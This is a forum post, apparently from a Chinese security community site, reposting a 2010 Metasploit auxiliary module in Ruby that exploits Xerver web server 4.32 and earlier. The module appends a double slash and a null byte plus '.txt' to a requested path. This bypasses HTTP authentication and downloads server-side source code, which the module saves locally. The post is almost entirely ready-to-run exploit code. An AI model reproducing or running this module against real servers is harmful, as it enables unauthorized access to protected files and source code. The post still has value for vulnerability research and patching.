首页
社区
课程
招聘
[推荐] Xerver Source Disclosure and HTTP Auth Bypass
2010-8-3 07:04 3119

[推荐] Xerver Source Disclosure and HTTP Auth Bypass

2010-8-3 07:04
3119
# Exploit Title: Xerver Source Disclosure and HTTP Auth Bypass
# Date: 01 Aug 2010
# Author: Ben Schmidt aka supernothing
# Software: http://www.javascript.nu/xerver/
# Version: 4.32 and prior
# Tested on: Windows XP SP3
# CVE: N/A

##
# This file is derived from part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::HttpClient
        include Msf::Auxiliary::Report
        include Msf::Auxiliary::Scanner

        def initialize
                super(
                        'Name'           => 'Xerver Source Code Disclosure/Download, Authentication Bypass',
                        'Version'        => '$Revision: 1 $',
                        'Description'    => %q{
                                        This module exploits a source code disclosure/download vulnerability in
                                versions of the Xerver web server up to and including version 4.32. It also
                incorporates an authentication bypass vulnerability that allows you to dump
                the source of files in HTTP auth protected directories as well.
                        },
                        'References'     =>
                                [
                                        [ 'CVE', '' ],
                                        [ 'OSVDB', '' ],
                                        [ 'BID', '' ],
                    ['URL','http://spareclockcycles.org/2010/08/01/multiple-vulnerabilities-in-xerver-4-32/']
                                ],
                        'Author'         =>
                                [
                    #Vulnerability discovered by:
                    'supernothing',
                    #Module based on nginx source disclosure code by:
                                        'Alligator Security Team',
                                        'Tiago Ferreira <tiago.ccna[at]gmail.com>',
                                ],
                        'License'        =>  MSF_LICENSE)

                register_options(
                        [
                                OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
                                OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
                        ], self.class)
        end

        def target_url
                "http://#{vhost}:#{rport}#{datastore['URI']}"
        end

        def run_host(ip)
                uri = datastore['URI']
                path_save = datastore['PATH_SAVE']

                vuln_versions = [
                        "Xerver/4.32",#Others definitely vulnerable, add as needed
                ]

                begin
                        res = send_request_raw(
                                {
                                        'method'  => 'GET',
                                        'uri'     => "//#{uri}\x00.txt", #extra forward slash for breaking password protection
                                }, 25)

                        if res
                                version = res.headers['Server']
                                http_fingerprint({ :response => res })
                        end
                       
            if vuln_versions.include?(version)
                                print_good("#{target_url} - Xerver - Vulnerable version: #{version}")

                                if (res and res.code == 200)

                                        print_good("#{target_url} - Xerver - Getting the source of page #{uri}")

                                        save_source = File.new("#{path_save}#{uri}","w")
                                        save_source.puts(res.body.to_s)
                                        save_source.close

                                        print_status("#{target_url} - Xerver - File successfully saved: #{path_save}#{uri}")        if (File.exists?("#{path_save}#{uri}"))

                                else
                                        print_error("http://#{vhost}:#{rport} - Xerver - Unrecognized #{res.code} response")
                                        return

                                end

                        else
                                if version =~ /Xerver/
                                        print_error("#{target_url} - Xerver - Cannot exploit: the remote server is not vulnerable - Version #{version}")
                                else
                                        print_error("#{target_url} - Xerver - Cannot exploit: the remote server is not Xerver")
                                end
                                return

                        end

                rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
                rescue ::Timeout::Error, ::Errno::EPIPE
                end
        end

end

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回